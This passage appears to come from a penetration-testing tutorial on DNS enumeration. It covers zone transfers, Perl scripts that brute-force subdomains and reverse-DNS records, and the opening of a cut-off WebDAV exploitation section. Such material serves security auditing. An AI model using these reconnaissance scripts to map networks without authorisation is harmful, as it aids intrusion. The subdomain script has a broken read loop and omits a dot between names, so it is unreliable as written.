acme.com mail is handled by 10 mail.pc-utils.com.
acme.com mail is handled by 10 smtp-b.acme.com.
sam@asus:~/unix% 

Perform a Zone Transfer

To perform a Zone Transfer against a host use the '-l' option followed by the domain and nameserver to use for the query.

host -l [domain] [nameserver]
sam@asus:~/unix% host -l acme.com 127.0.0.1
Using domain server:
Name: 127.0.0.1
Address: 127.0.0.1#53
Aliases: 

acme.com name server pri.acme.com.
acme.com name server sec.acme.com.
acme.com has address 192.168.1.200
acme.com has address 192.168.1.201
acme.com has address 192.168.1.202
client.acme.com has address 192.168.1.202
pri.acme.com has address 192.168.1.200
sec.acme.com has address 192.168.1.201
sam@asus:~/unix% 

Brute Force Foward Lookup Domains

You can brute-force possible domain names with a defined word list to uncover any hidden servers you might not have come across during your preliminary DNS enumeration with a simple perl script.

#!/usr/bin/env perl
use strict;
use warnings;
use Net::DNS;
use Data::Dumper;

my $reply;
my $tld = "microsoft.com";
my $file = "domains.txt";
my $nameserver = "127.0.0.1";

open(my $fh, '<', $file);

my @subdomains;
push(@subdomains, $_) while ();

my $res = Net::DNS::Resolver->new;

$res->nameservers($nameserver);

foreach my $domain (@subdomains) {

    $reply = $res->search($domain.$tld, "A");
    if ($reply) {
        foreach my $rr ($reply->answer) {
            print "$domain.$tld has address ".$rr->address, "\n" if $rr->can("address");
        }
    }
}

The output of the script should look something like this:

sam@asus:~/unix% ./dns-brute-host.pl 
www.microsoft.com has address 104.215.95.187
www.microsoft.com has address 52.164.206.56
support.microsoft.com has address 40.113.200.201
support.microsoft.com has address 40.112.72.205
support.microsoft.com has address 104.215.148.63
support.microsoft.com has address 13.77.161.179
support.microsoft.com has address 40.76.4.15
ftp.microsoft.com has address 209.239.116.136
download.microsoft.com has address 185.53.178.24
sam@asus:~/unix% 

Brute Force PTR records

Just as you can do Forward Lookups to get the IP Address for a domain, the reverse lookup is also available. Just search for a 'PTR' resource record of the IP Address. The IP Addresses must be converted in to a special format for this to work. To convert an IP Address to the correct format simply reverse the octets and append a "in-addr.arpa" to the end of the string. For instance for the IP "1.2.3.4" to reverse of this would be "4.3.2.1.in-addr.arpa". We can show how this works with the 'host' command.

sam@asus:~/unix% host 192.168.1.202 127.0.0.1
Using domain server:
Name: 127.0.0.1
Address: 127.0.0.1#53
Aliases: 

202.1.168.192.in-addr.arpa domain name pointer client.acme.com.
sam@asus:~/unix% 

Here we successfully performed a rDNS query against the host 192.168.1.202 which points to the domain 'client.acme.org'. We can automate this task with perl again to get the results we need in a timely manner.

#!/usr/bin/env perl
use strict;
use warnings;
use Net::DNS;
use Data::Dumper;

my @hosts;
my $ptr_rr;
my $nameserver="127.0.0.1";
open(my $fh, '<', 'ipts.txt');

while (<$fh>) {
    chomp($_);
    push(@hosts, $_);
}

my $res = Net::DNS::Resolver->new;
$res->nameservers($nameserver);

foreach my $host (@hosts) {
    if ($host =~ m/(\d+)\.(\d+)\.(\d+)\.(\d+)/) {
        $ptr_rr = "$4.$3.$2.$1.in-addr.arpa";
    }
    
    my $query = $res->query($ptr_rr, "PTR");   
    if ($query) {
        foreach my $rr ($query->answer) {
            next unless $rr->type eq "PTR";
            print "$ptr_rr has address ".$rr->rdatastr, "\n";
        }
    } else {
        #print $res->errorstring." for $ptr_rr", "\n";
    }
}

Here the script has mapped the IP's to a known domain on the remote network through rDNS lookups.

sam@asus:~/unix% ./dns-brute-ptr.pl 
200.1.168.192.in-addr.arpa has address pri.acme.com.
201.1.168.192.in-addr.arpa has address sec.acme.com.
202.1.168.192.in-addr.arpa has address client.acme.com.
sam@asus:~/unix% 

Exploiting Weak WEBDAV Configurations

The server we are going to audit has the following fingerprint. 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) Next we need t...